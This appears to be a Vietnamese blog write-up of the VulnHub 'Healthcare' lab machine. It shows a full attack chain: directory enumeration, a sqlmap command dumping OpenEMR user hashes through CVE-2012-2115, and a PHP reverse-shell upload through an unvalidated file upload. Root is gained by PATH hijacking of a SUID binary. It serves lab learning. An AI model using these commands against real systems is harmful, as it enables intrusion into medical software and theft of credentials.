Home Healthcare Writeup - VulnHub
Post
Cancel

Healthcare Writeup - VulnHub

Download Healthcare VulnHub.

Enumeration

Scan Ports Scan Ports and Services

1
gobuster dir -u http://10.0.2.9/ -w /usr/share/wordlists/Seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 30

Gobuster Directory fuzzing

Openemr login page Openemr login page

Exploitation

Đã biết ứng dụng đang chạy Openemr - một phần mềm mã nguồn mở, quản lý hành nghề y tế gì đó. Đặc biệt hơn, Openemr v4.1.0 chứa lỗ hổng unauthenticated blind SQL injection, có mã CVE-2012-2115. Sau khi nhấn login, thông tin sẽ được xác thực qua validateUser.php. Nếu user tồn tại thì truy vấn sẽ luôn trả về ít nhất 1 hàng. Đồng nghĩa với việc ta có thể chèn payload SQL injection tại đây và thực hiện Blind SQL Injection.

Dùng sqlmap để khai thác:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ sqlmap -u '10.0.2.9/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.6#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


.................

Database: openemr
Table: users
[2 entries]
+----------+----------------------------------------------------+
| username | password                                           |
+----------+----------------------------------------------------+
| admin    | 2de89a0a37f4a62dc4fa04f2637efcbba098ab44           |
| medical  | ab24aed5a7c4ad45615cd7e0da816eea39e4895d (medical) |
+----------+----------------------------------------------------+

Dump được 2 entries như trên, do tools đã crackhash được pasword của user medical nên ta dùng tài khoản này để login vô openemr luôn.

Openemr Interface Giao diện sau khi login Openemr

Remote Code Execution

Sau khi đã đặt chân vào trang quản trị của Openemr v4.1.0, chúng ta có thể khai thác vuln mới có mã CVE-2011-5161, cho phép người dùng upload file bất kì và không có bất cứ validation nào. Điều này giúp chúng ta dễ dàng upload và chạy reverse shell.

Tìm thủ công nơi có thể upload file, khả năng nhất là nơi update thông tin của bệnh nhân/khách hàng. Tiến hành truy cập đến Patient/Client>New/Search.

Create New Patient Tạo mới 1 Patient

Sau khi tạo xong, search và click vào Patient vừa tạo. Sau đó di chuyển tới Documents > Patient Information > Patient Photograph

Patient A

Upload Page

Yah chính nó! Upload reverse shell php lên, chạy file và tạo 1 port listener tại máy local:

Upload Revshell

RCE RCE thành công!

Privilege Escalation

1
find / -perm -u=s 2>/dev/null
1
2
3
4
5
...
...
/usr/bin/healthcheck
...
...

Tiến hành tìm kiếm file SUID thì phát hiện file nhị phân trông lạ lạ này. Kiểm tra tệp này 1 chút:

1
2
sh-4.1$ ls -la /usr/bin/healthcheck
-rwsr-sr-x 1 root root 5813 Jul 29  2020 /usr/bin/healthcheck

File nhị phân này chạy dưới quyền root. Tất cả chỉ là thực hiện kiểm tra, Scan hệ thống, ổ đĩa,…

1
2
3
4
5
6
7
8
9
10
11
12
13
sh-4.1$ strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h

strings file đó ra thì có xuất hiện 1 số câu lệnh hệ thống, các câu lệnh được gọi không phải đường dẫn tuyệt đối và PATH cũng không được set trong nó. Từ đó, các câu lệnh được gọi trong file này sẽ bị ta thao túng bằng cách tạo 1 file có tên trùng với 1 trong các câu lệnh đó, đồng thời set PATH để file của ta sẽ được thực thi thay thế.

1
2
3
sh-4.1$ cd /tmp
sh-4.1$ export PATH=$(pwd):$PATH
sh-4.1$ echo "/bin/bash" > clear
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sh-4.1$ healthcheck
TERM environment variable not set.
System Health Check

Scanning System
eth2      Link encap:Ethernet  HWaddr 08:00:27:54:37:D4
          inet addr:10.0.2.9  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe54:37d4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1481565 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1576879 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:219434428 (209.2 MiB)  TX bytes:1884801187 (1.7 GiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:17440 (17.0 KiB)  TX bytes:17440 (17.0 KiB)


id
uid=0(root) gid=0(root) groups=0(root),416(apache)
1
2
3
4
5
6
7
8
9
python -c 'import pty;pty.spawn("/bin/bash")'
[root@localhost tmp]# cd /
[root@localhost root]# ls
Desktop/    drakx/        healthcheck.c  sudo.rpm
Documents/  healthcheck*  root.txt       tmp/
[root@localhost root]# cat root.txt
Flag day ne: QnJlYWtUZWFtX0ZsYWdfWE5YWC5DT01fQWhpaGk=
[root@localhost root]# echo "QnJlYWtUZWFtX0ZsYWdfWE5YWC5DT01fQWhpaGk="| base64 -d
BreakTeam_Flag_XNXX.COM_Ahihi
This post is licensed under CC BY 4.0 by the author.

Pwned 1 Writeup - VulnHub

Devguru Writeup - VulnHub